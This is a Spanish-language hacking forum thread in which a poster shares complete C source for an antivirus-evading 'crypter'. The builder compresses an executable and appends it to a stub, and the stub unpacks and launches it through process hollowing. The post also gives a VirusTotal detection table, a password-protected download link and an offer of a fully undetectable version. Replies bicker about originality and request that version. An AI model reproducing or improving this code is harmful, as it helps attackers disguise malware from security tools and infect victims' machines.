Hola, aquí de nuevo trayendo un crypter que habia desarrollado hace un largo tiempo pero que modifique para que los antivirus no lo detectaran, lo que hace este crypter a diferencia del resto
no es usar un método de cifrado si no más bien comprimir el buffer, es decir con APIS nativas reduce el tamaño del archivo a cryptar y de esa forma también dejara indetectable el archivo.
Tiene la función de cambiar el icono si lo desean.
Si el crypter les parece bien, estare subiendo su version FUD para quienes comenten el el post.
(http://i61.tinypic.com/w9a5uo.png)
(http://i62.tinypic.com/rmqslj.png)
CitarCodigo compresor
#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>
#include <mmsystem.h>
/*BULL GOLDEN - Simple Crypter privado*/
#define COMPRESSION_FORMAT_LZNT1 (0x0002)
#define COMPRESSION_ENGINE_STANDARD (0x0000)
#define COMPRESSION_ENGINE_MAXIMUM (0x0100)
DWORD i = 0;
typedef struct _ICONDIRENTRY {
BYTE bWidth;
BYTE bHeight;
BYTE bColorCount;
BYTE bReserved;
WORD wPlanes;
WORD wBitCount;
DWORD dwBytesInRes;
DWORD dwImageOffset;
} ICONDIRENTRY,
* LPICONDIRENTRY;
typedef struct _ICONDIR {
WORD idReserved;
WORD idType;
WORD idCount;
ICONDIRENTRY idEntries[1];
} ICONDIR,
* LPICONDIR;
#pragma pack(2)
typedef struct _GRPICONDIRENTRY {
BYTE bWidth;
BYTE bHeight;
BYTE bColorCount;
BYTE bReserved;
WORD wPlanes;
WORD wBitCount;
DWORD dwBytesInRes;
WORD nID;
} GRPICONDIRENTRY,
* LPGRPICONDIRENTRY;
#pragma pack(2)
typedef struct _GRPICONDIR {
WORD idReserved;
WORD idType;
WORD idCount;
GRPICONDIRENTRY idEntries[1];
} GRPICONDIR,
* LPGRPICONDIR;
typedef ULONG NTSTATUS;
typedef DWORD ( __stdcall *_RtlCompressBuffer)(IN ULONG CompressionFormat, IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN ULONG Unknown, OUT PULONG pDestinationSize, IN PVOID WorkspaceBuffer );
typedef DWORD ( __stdcall *_RtlGetCompressionWorkSpaceSize )(IN ULONG CompressionFormat, OUT PULONG pNeededBufferSize,
OUT PULONG pUnknown );
typedef DWORD ( __stdcall *_RtlDecompressBuffer )( IN ULONG CompressionFormat, OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PULONG pDestinationSize );
LPSTR WINAPI CompressBuffer( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut);
LPSTR WINAPI DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut );
LPSTR WINAPI GetFileBuffer ( IN LPSTR lpszFileName, OUT LPDWORD dwSize );
BOOL WINAPI CreateFileName ( IN LPSTR lpszFileName, IN LPSTR lpBuffer, IN DWORD dwSize );
DWORD WINAPI vGetFileSize ( IN LPSTR nFileName);
BOOL WINAPI AddIcon ( IN LPSTR szIFileName, IN LPSTR szEFileName);
LPSTR WINAPI GetExtension ( IN LPSTR lpszFileName );
LPSTR WINAPI CompressBuffer( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut) {
_RtlCompressBuffer RtlCompressBuffer;
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize;
DWORD dwRet;
DWORD dwSize;
LPVOID WSB;
DWORD dstSize = 16 * szBuffer;
LPSTR szRet = ( LPSTR ) malloc ( dstSize );
RtlCompressBuffer = ( _RtlCompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA( "NTDLL.DLL" ), "RtlCompressBuffer" );
RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA( "NTDLL.DLL" ), "RtlGetCompressionWorkSpaceSize" );
RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1, &dwSize, &dwRet);
WSB = ( LPVOID ) malloc ( dwSize );
RtlCompressBuffer ( COMPRESSION_FORMAT_LZNT1, lpBuffer, szBuffer, szRet, dstSize, 0, dwSizeOut, WSB);
free( WSB );
return szRet;
}
LPSTR WINAPI DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut ) {
_RtlDecompressBuffer RtlDecompressBuffer;
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize;
DWORD dwRet;
DWORD dwSize;
DWORD dstSize = 16 * szBuffer;
LPSTR szRet = (LPSTR) malloc ( dstSize );
RtlDecompressBuffer = ( _RtlDecompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA("NTDLL.DLL"), "RtlDecompressBuffer" );
RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA("NTDLL.DLL"), "RtlGetCompressionWorkSpaceSize" );
RtlGetCompressionWorkSpaceSize( COMPRESSION_FORMAT_LZNT1,&dwSize,&dwRet);
RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,dstSize,lpBuffer,szBuffer,dwSizeOut);
return szRet;
}
LPSTR WINAPI GetFileBuffer ( IN LPSTR lpszFileName, OUT LPDWORD dwSize ) {
DWORD BytesRead;
HANDLE File = CreateFileA ( lpszFileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
if ( File == INVALID_HANDLE_VALUE || File == NULL ) return (LPSTR)"ERROR";
DWORD FileSize = GetFileSize ( File, 0 );
LPSTR Buffer = ( LPSTR ) GlobalAlloc ( GPTR, FileSize );
ReadFile ( File, Buffer, FileSize, &BytesRead, 0 );
CloseHandle ( File );
*dwSize = FileSize;
return Buffer;
}
BOOL WINAPI CreateFileName ( IN LPSTR lpszFileName, IN LPSTR lpBuffer, IN DWORD dwSize ) {
DWORD BytesRead;
HANDLE File = CreateFileA ( lpszFileName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 );
if ( File == INVALID_HANDLE_VALUE || File == NULL ) return FALSE;
WriteFile ( File, lpBuffer, dwSize, &BytesRead, 0 );
CloseHandle ( File );
return TRUE;
}
DWORD WINAPI vGetFileSize ( IN LPSTR nFileName ) {
HANDLE hGFS = CreateFileA ( nFileName, GENERIC_READ + GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 );
DWORD szFile = GetFileSize ( hGFS, 0 );
CloseHandle( hGFS );
return szFile;
}
BOOL WINAPI AddIcon ( IN LPSTR szIFileName, IN LPSTR szEFileName) {
HANDLE hFile = CreateFile(szIFileName, GENERIC_READ,FILE_SHARE_WRITE+FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
LPICONDIR lpid;
lpid = ( LPICONDIR ) malloc( sizeof( ICONDIR ) );
if(lpid == NULL) {
return FALSE;
}
DWORD dwBytesRead;
ReadFile(hFile, &lpid->idReserved, sizeof(WORD), &dwBytesRead, NULL);
ReadFile(hFile, &lpid->idType, sizeof(WORD), &dwBytesRead, NULL);
ReadFile(hFile, &lpid->idCount, sizeof(WORD), &dwBytesRead, NULL);
lpid = (LPICONDIR) realloc(lpid, (sizeof(WORD) * 3) + (sizeof(ICONDIRENTRY) * lpid->idCount));
if(lpid == NULL) {
return FALSE;
}
ReadFile(hFile, &lpid->idEntries[0], sizeof(ICONDIRENTRY) * lpid->idCount, &dwBytesRead, NULL);
LPGRPICONDIR lpgid;
lpgid = (LPGRPICONDIR)malloc(sizeof(GRPICONDIR));
if(lpgid == NULL) {
return FALSE;
}
lpgid->idReserved = lpid->idReserved;
lpgid->idType = lpid->idType;
lpgid->idCount = lpid->idCount;
lpgid = (LPGRPICONDIR)realloc(lpgid, (sizeof(WORD) * 3) + (sizeof(GRPICONDIRENTRY) * lpgid->idCount));
if(lpgid == NULL) {
return FALSE;
}
for(i = 0; i < lpgid->idCount; i++) {
lpgid->idEntries[i].bWidth = lpid->idEntries[i].bWidth;
lpgid->idEntries[i].bHeight = lpid->idEntries[i].bHeight;
lpgid->idEntries[i].bColorCount = lpid->idEntries[i].bColorCount;
lpgid->idEntries[i].bReserved = lpid->idEntries[i].bReserved;
lpgid->idEntries[i].wPlanes = lpid->idEntries[i].wPlanes;
lpgid->idEntries[i].wBitCount = lpid->idEntries[i].wBitCount;
lpgid->idEntries[i].dwBytesInRes = lpid->idEntries[i].dwBytesInRes;
lpgid->idEntries[i].nID = i + 1;
}
HANDLE hUpdate;
hUpdate = BeginUpdateResource(szEFileName, TRUE);
if(hUpdate == NULL) {
CloseHandle(hFile);
return FALSE;
}
for(i = 0; i < lpid->idCount; i++) {
LPBYTE lpBuffer = (LPBYTE) malloc(lpid->idEntries[i].dwBytesInRes);
if(lpBuffer == NULL) {
CloseHandle(hFile);
return FALSE;
}
SetFilePointer(hFile, lpid->idEntries[i].dwImageOffset, NULL, FILE_BEGIN);
ReadFile(hFile, lpBuffer, lpid->idEntries[i].dwBytesInRes, &dwBytesRead, NULL);
if(UpdateResource(hUpdate, RT_ICON, MAKEINTRESOURCE(lpgid->idEntries[i].nID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &lpBuffer[0], lpid->idEntries[i].dwBytesInRes) == FALSE) {
CloseHandle(hFile);
free(lpBuffer);
return FALSE;
}
free(lpBuffer);
}
CloseHandle(hFile);
if (UpdateResource(hUpdate, RT_GROUP_ICON, MAKEINTRESOURCE(1), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &lpgid[0], (sizeof(WORD) * 3) + (sizeof(GRPICONDIRENTRY) * lpgid->idCount)) == FALSE) {
return FALSE;
}
if (EndUpdateResource(hUpdate, FALSE) == FALSE) {
return FALSE;
}
return TRUE;
}
LPSTR WINAPI GetExtension ( IN LPSTR lpszFileName ) {
char *extension = (char*) malloc ( 4 );
extension = lpszFileName + lstrlenA ( lpszFileName ) - 4;
return extension;
}
int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil ) {
CONSOLE_SCREEN_BUFFER_INFO csbi;
COORD coord_size = { 50, 30 };
COORD coord = { 0, 0 };
SMALL_RECT rect = { 0, 0, coord_size.X-1, coord_size.Y-1 };
if ( PathFileExistsA ( "ambice.mp3" ) ) mciSendStringA ( "play ambice.mp3 repeat", 0, 0, 0 );
DWORD FileSize, dwBytes, BufferCompress, StubSize;
LPSTR FileBuffer;
HANDLE File;
HANDLE Console = GetStdHandle ( STD_OUTPUT_HANDLE );
GetConsoleScreenBufferInfo ( Console, &csbi );
SetConsoleTitle ( "Bull Golden - Crypter - BETA 1" );
SetConsoleTextAttribute ( Console, ( 0xFC ) );
SetConsoleWindowInfo ( Console, true, &rect );
SetConsoleScreenBufferSize ( Console, coord_size );
char *title = (char*)"*****Bull Guard Golden Crypter beta 1*****\n\n";
coord.X = (csbi.dwSize.X/2)-lstrlenA(title)-12, coord.Y = 2;
if ( !PathFileExistsA ( "BULL.DLL" ) ) FatalAppExitA ( 0, "No se ah encontrado el archivo BULL.DLL" );
SetConsoleCursorPosition ( Console, coord );
for ( int i = 0; title [ i ] != 0x00; title [ i ++ ] ) {
putchar ( title [ i ] );
Sleep ( 20 );
}
char *firma = (char*)"*bull*";
size_t length_firma = (size_t) lstrlenA(firma);
char path [ MAX_PATH + 1 ];
fflush ( stdin );
printf ( "\n\n°°Ingrese la ruta del archivo a cryptar:>" );
//fgets ( path, MAX_PATH, stdin );
scanf ( "%s", &path );
printf ( "\n[Al presionar una tecla se cifrara el archivo %s]", path );
system ( "PAUSE>NUL" );
if ( PathFileExistsA ( path ) ) {
LPSTR Buffer = ( LPSTR ) GlobalAlloc ( (0x0000|0x0040), vGetFileSize ( path ) );
Buffer = GetFileBuffer ( path, &FileSize );
LPSTR CompressBufferThis = CompressBuffer ( Buffer, FileSize, &BufferCompress );
//CreateFileName ( nuevo, CompressBufferThis, BufferCompress );
LPSTR StubBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000|0x0040 ), vGetFileSize ( (LPSTR)"BULL.DLL" ) );
StubSize = vGetFileSize ( (LPSTR)"BULL.DLL" );
StubBuffer = GetFileBuffer ( (LPSTR)"BULL.DLL", &StubSize );
LPSTR NewBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000|0x0040 ), BufferCompress + StubSize + length_firma + 255 );
CopyMemory ( &NewBuffer [ 0 ], &StubBuffer [ 0 ], StubSize );
CopyMemory ( &NewBuffer [ StubSize ], &firma [ 0 ], length_firma );
CopyMemory ( &NewBuffer [ StubSize + length_firma ], &CompressBufferThis [ 0 ], BufferCompress );
CreateFileName ( ( LPSTR ) "BullGeneric.exe", NewBuffer, (StubSize + length_firma + BufferCompress) );
GlobalFree ( FileBuffer );
GlobalFree ( NewBuffer );
GlobalFree ( StubBuffer );
printf ( "\n\n\nSe ah generado el archivo cryptado con exito [%d] bytes totales", BufferCompress );
DWORD reserved;
char letter [ 2 ];
char icon [ MAX_PATH + 1 ];
system ( "cls" );
printf ( "Desea cambiar el icono ? s/n :>" );
scanf ( "%s", &letter );
if ( letter [ 0 ] == 's' || letter [ 0 ] == 'S' ) {
printf ( "\n\nIngrese el directorio del icono:>" );
scanf ( "%s", &icon );
if ( PathFileExistsA ( icon ) ) {
AddIcon ( icon, (LPSTR)"BullGeneric.exe" );
printf ( "\n\t\t\t[Exito al cambiar el icono]\n" );
} else {
printf ( "\n\t\t\t[Ah ocurrido un error al cambiar el icono]" );
}
}
printf ( "\n\n\n[Presione escape para salir]\n" );
while ( !GetAsyncKeyState ( 27 ) );
} else FatalAppExitA ( 0, "No se ah encontrado el archivo especificado" );
return 0;
}
CitarCodigo del stub
#include <windows.h>
/*BULL GOLDEN - Simple Crypter privado*/
/*#define COMPRESSION_FORMAT_LZNT1 ( 0x0002 )
#define COMPRESSION_ENGINE_STANDARD ( 0x0000 )
#define COMPRESSION_ENGINE_MAXIMUM ( 0x0100 )*/
#define LIB ( LPSTR ) "ntdll.dll"
#define API ( LPSTR ) "NtUnmapViewOfSection"
typedef ULONG NTSTATUS;
typedef DWORD ( __stdcall *_RtlGetCompressionWorkSpaceSize ) ( IN ULONG CompressionFormat, OUT PULONG pNeededBufferSize,
OUT PULONG pUnknown );
typedef DWORD ( __stdcall *_RtlDecompressBuffer ) ( IN ULONG CompressionFormat, OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PULONG pDestinationSize );
typedef LONG ( __stdcall *NtApi ) ( HANDLE ProcessHandle, PVOID BaseAddress );
typedef BOOL ( __stdcall *Conte ) ( IN HANDLE hThread, IN const CONTEXT *lpConte );
typedef DWORD ( __stdcall *Resum ) ( IN HANDLE hThread );
typedef BOOL ( __stdcall *Wri ) ( IN HANDLE hProcess, IN LPVOID lpBaseAdress, IN LPCVOID lpBuffer, IN SIZE_T nSize, OUT SIZE_T *lpNumberOfBytesWritten );
typedef BOOL ( __stdcall *Rea ) ( IN HANDLE hProcess, IN LPCVOID lpBaseAddress, OUT LPVOID lpBuffer, IN SIZE_T nSize, OUT SIZE_T *lpNumberOfBytesRead );
LPSTR __stdcall DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut );
void ExecFile ( LPSTR szFilePath, LPVOID pFile );
void ExecFile ( LPSTR szFilePath, LPVOID pFile )
{
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
PCONTEXT CTX;
PDWORD dwImageBase;
NtApi xNt;
LPVOID pImageBase;
int Count;
Conte Contee = ( Conte ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "SetThreadContext" );
Wri Writ = ( Wri ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "WriteProcessMemory" );
Rea Reaa = ( Rea ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "ReadProcessMemory" );
Resum Resu = ( Resum ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "ResumeThread" );
IDH = PIMAGE_DOS_HEADER ( pFile );
if ( IDH -> e_magic == IMAGE_DOS_SIGNATURE )
{
INH = PIMAGE_NT_HEADERS ( DWORD ( pFile ) + IDH->e_lfanew );
if ( INH -> Signature == IMAGE_NT_SIGNATURE )
{
RtlZeroMemory ( &SI, sizeof ( SI ) );
RtlZeroMemory ( &PI, sizeof ( PI ) );
if ( CreateProcessA ( szFilePath, 0L, 0L, 0L, FALSE, CREATE_SUSPENDED, 0L, 0L, &SI, &PI ) )
{
CTX = PCONTEXT ( VirtualAlloc ( 0L, sizeof ( CTX ), MEM_COMMIT, PAGE_READWRITE ) );
CTX -> ContextFlags = CONTEXT_FULL;
if ( GetThreadContext ( PI.hThread, LPCONTEXT ( CTX ) ) )
{
ReadProcessMemory ( PI.hProcess, LPCVOID ( CTX->Ebx + 8 ), LPVOID ( &dwImageBase ), 4, 0L );
if ( DWORD( dwImageBase ) == INH->OptionalHeader.ImageBase )
{
xNt = NtApi ( GetProcAddress ( GetModuleHandleA ( LIB ), API ) );
xNt ( PI.hProcess, PVOID ( dwImageBase ) );
}
pImageBase = VirtualAllocEx ( PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if ( pImageBase )
{
Writ ( PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, 0L );
for ( Count = 0; Count < INH->FileHeader.NumberOfSections; Count++ )
{
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
Writ (PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID ( DWORD ( pFile ) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}
Writ ( PI.hProcess, LPVOID ( CTX->Ebx + 8 ), LPVOID ( &INH->OptionalHeader.ImageBase ), 4, 0L );
CTX->Eax = DWORD ( pImageBase ) + INH->OptionalHeader.AddressOfEntryPoint;
Contee ( PI.hThread, LPCONTEXT ( CTX ) );
Resu ( PI.hThread);
}
}
}
}
}
GlobalFree ( pFile );
}
LPSTR __stdcall DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut )
{
_RtlDecompressBuffer RtlDecompressBuffer = ( _RtlDecompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA( LIB ), "RtlDecompressBuffer" );
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA ( LIB ), "RtlGetCompressionWorkSpaceSize" );
DWORD dwRet;
DWORD dwSize;
DWORD dstSize = 16 * szBuffer;
LPSTR szRet = (LPSTR) malloc ( dstSize );
RtlGetCompressionWorkSpaceSize ( COMPRESSION_FORMAT_LZNT1, &dwSize, &dwRet );
RtlDecompressBuffer ( COMPRESSION_FORMAT_LZNT1, szRet, dstSize, lpBuffer, szBuffer, dwSizeOut );
return szRet;
}
int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{
STARTUPINFO stinfo;
PROCESS_INFORMATION processinformation;
HANDLE File;
DWORD dwBytes, StubSize, bytes;
LPSTR StubBuffer, Directory, AppName;
ZeroMemory ( &stinfo, sizeof ( STARTUPINFO ) );
stinfo.cb = sizeof ( STARTUPINFO );
size_t length_firma = ( size_t ) 6;
AppName = ( LPSTR ) VirtualAlloc ( 0L, ( MAX_PATH + 1 ), ( MEM_COMMIT | MEM_RESERVE ), PAGE_READWRITE );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
if ( ( File == INVALID_HANDLE_VALUE ) || ( File == 0L ) )
{
CloseHandle ( File );
VirtualFree ( AppName, ( MAX_PATH + 1 ), ( MEM_DECOMMIT | MEM_RELEASE ) );
return -1;
}
StubSize = GetFileSize ( File, 0 );
StubBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( StubSize + 1 ) );
ReadFile ( File, StubBuffer, StubSize, &dwBytes, 0 );
CloseHandle ( File );
for ( bytes = 0; bytes <= StubSize; bytes ++ )
{
if ( StubBuffer [ bytes ] == '*' && StubBuffer [ bytes + 1 ] == 'b' && StubBuffer [ bytes + 2 ] == 'u' && StubBuffer [ bytes + 3 ] == 'l' &&
StubBuffer [ bytes + 4 ] == 'l' && StubBuffer [ bytes + 5 ] == '*' ) {
StubBuffer += ( bytes + 6 );
StubSize -= ( bytes + 6 );
}
}
DWORD OutDecompressSize;
StubBuffer = DecompressBuffer ( StubBuffer, StubSize, &OutDecompressSize );
ExecFile ( LPSTR ( AppName ), StubBuffer );
GlobalFree ( StubBuffer );
VirtualFree ( AppName, ( MAX_PATH + 1 ), ( MEM_DECOMMIT | MEM_RELEASE ) );
return EXIT_SUCCESS;
}
ANALISIS 9/56
https://www.virustotal.com/es/file/5c82b832e30683e45bf3cb74696ce2aeacc8d212984daa00f8190dce41cb1638/analysis/1441658820/ (https://www.virustotal.com/es/file/5c82b832e30683e45bf3cb74696ce2aeacc8d212984daa00f8190dce41cb1638/analysis/1441658820/)
Antivirus Resultado Actualización
ALYac 20150805 Clean
AVG 20150805 Clean
AVware 20150805 Clean
Ad-Aware 20150805 Gen:Trojan.Heur.RP.hGW@ay7Koln
AegisLab 20150805 Clean
Agnitum 20150804 Clean
AhnLab-V3 20150805 Clean
Alibaba 20150803 Clean
Antiy-AVL 20150805 Clean
Arcabit 20150805 Trojan.Heur.RP.ED92C7
Avast 20150805 Clean
Avira 20150805 TR/Crypt.XPACK.Gen
Baidu-International 20150805 Clean
BitDefender 20150805 Gen:Trojan.Heur.RP.hGW@ay7Koln
Bkav 20150805 Clean
ByteHero 20150805 Clean
CAT-QuickHeal 20150805 Clean
ClamAV 20150805 Clean
Comodo 20150805 Clean
Cyren 20150805 Clean
DrWeb 20150805 Clean
ESET-NOD32 20150805 Clean
Emsisoft 20150805 Gen:Trojan.Heur.RP.hGW@ay7Koln
F-Prot 20150805 Clean
F-Secure 20150805 Gen:Trojan.Heur.RP.hGW@ay7Koln
Fortinet 20150804 Clean
GData 20150805 Gen:Trojan.Heur.RP.hGW@ay7Koln
Ikarus 20150805 Clean
Jiangmin 20150804 Clean
K7AntiVirus 20150805 Clean
K7GW 20150805 Clean
Kaspersky 20150805 Clean
Kingsoft 20150805 Clean
Malwarebytes 20150805 Clean
McAfee 20150805 Clean
McAfee-GW-Edition 20150805 Clean
MicroWorld-eScan 20150805 Gen:Trojan.Heur.RP.hGW@ay7Koln
Microsoft 20150805 Clean
NANO-Antivirus 20150805 Clean
Panda 20150805 Clean
Qihoo-360 20150805 Clean
Rising 20150731 Clean
SUPERAntiSpyware 20150805 Clean
Sophos 20150805 Clean
Symantec 20150805 Clean
Tencent 20150805 Clean
TheHacker 20150805 Clean
TotalDefense 20150805 Clean
TrendMicro 20150805 Clean
TrendMicro-HouseCall 20150805Clean
VBA32 20150805 Clean
VIPRE 20150805 Clean
ViRobot 20150805 Clean
Zillya 20150805 Clean
Zoner 20150805 Clean
nProtect 20150805 Clean
Link de descarga:
https://mega.nz/#!bpYXkQzK!R1zHNrBmXsJtiM3TV-Q7eJH5I_dtx1lrTDViQzaZ7mU (https://mega.nz/#!bpYXkQzK!R1zHNrBmXsJtiM3TV-Q7eJH5I_dtx1lrTDViQzaZ7mU)
PASS : xxneeco83xx
Virus Total Te quema las firmas, es la primera regla de hacer crypters no subir las cosas a virus total xd
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Virus Total Te quema las firmas, es la primera regla de hacer crypters no subir las cosas a virus total xd
lo hice a proposito, la finalidad de este crypter como bien puse en el post para quienes lo quieran FUD que lo pidan.
No me interesa subir crypters libres para quienes solo andan en el foro para eso, sin siquiera leer. xD
Hola bro, nice job. Esta bien lo que decis, esa tecnica la usan en otros foros como el del camaleon o 23, para no decir sus nombres explicitos jajaj. Pasarias el fud por mp? Saludos
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.
Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.
Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.
Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.
Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
Creo haber escrito un post acerca de crypters de este tipo. No aprendi eso magicamente.
Dudo que sepas para que funciona cada api que usaste en ese codigo.
No aporto codigo para evitar que la gente copie y pegue, como hacen siempre ;)
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.
Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.
Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
Creo haber escrito un post acerca de crypters de este tipo. No aprendi eso magicamente.
Dudo que sepas para que funciona cada api que usaste en ese codigo.
No aporto codigo para evitar que la gente copie y pegue, como hacen siempre ;)
Revisa mis aportes anteriores y comprueba si se o no se del tema, cada API y más aun de las que hay en el code.
Por algo soy de los que aporta y no de los que critican. Mi intención fue a portar un code que tenia desarrollado
no discutir de lo que se o lo que no.
Con respecto a tus post, son puras criticas hacia la gente que aporta, si bien si hay mucha gente que aporta cosas robadas, este no es el caso.
Pero en fin no siempre se deja contento a todo el mundo, que pases un buen resto del dia, no me interesa discutir.
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.
Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.
Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
Creo haber escrito un post acerca de crypters de este tipo. No aprendi eso magicamente.
Dudo que sepas para que funciona cada api que usaste en ese codigo.
No aporto codigo para evitar que la gente copie y pegue, como hacen siempre ;)
Revisa mis aportes anteriores y comprueba si se o no se del tema, cada API y más aun de las que hay en el code.
Por algo soy de los que aporta y no de los que critican. Mi intención fue a portar un code que tenia desarrollado
no discutir de lo que se o lo que no.
Con respecto a tus post, son puras criticas hacia la gente que aporta, si bien si hay mucha gente que aporta cosas robadas, este no es el caso.
Pero en fin no siempre se deja contento a todo el mundo, que pases un buen resto del dia, no me interesa discutir.
Critico para ayudarlos/guiarlos. Por lo que veo en tus posts, por ejemplo el de la infeccion de ejecutables, veo que no tenes ni idea de que es una cabecera PE y estas portando tecnicas de mala calidad empleadas en vb6 generalmente. Sacate el titulo ese de programador de malware que vos solo te pusiste.
Me interesaria la version fud, gracias
Podrías compartir conmigo la versión FUD?
Muchas gracias.
Estoy de acuerdo, siempre es mejor aportar que sólo criticar.
Podrías compartirme la versión FUD por favor? Desde ya gracias.
Me gustaría tener la versión FUD, para hacer unas pruebas.
Comentar también que es excelente tu trabajo, pues otros cryoters y otros trabajos que has hecho son estupendos.
Gracias por compartir.
yo llevo varias semanas practicando con crypters de hecho ya publique algunas dudas que tenias
asi que por mi si puedes pasar la version
te lo agradeceria
Muy bueno, te mande un mp para la version fud ;)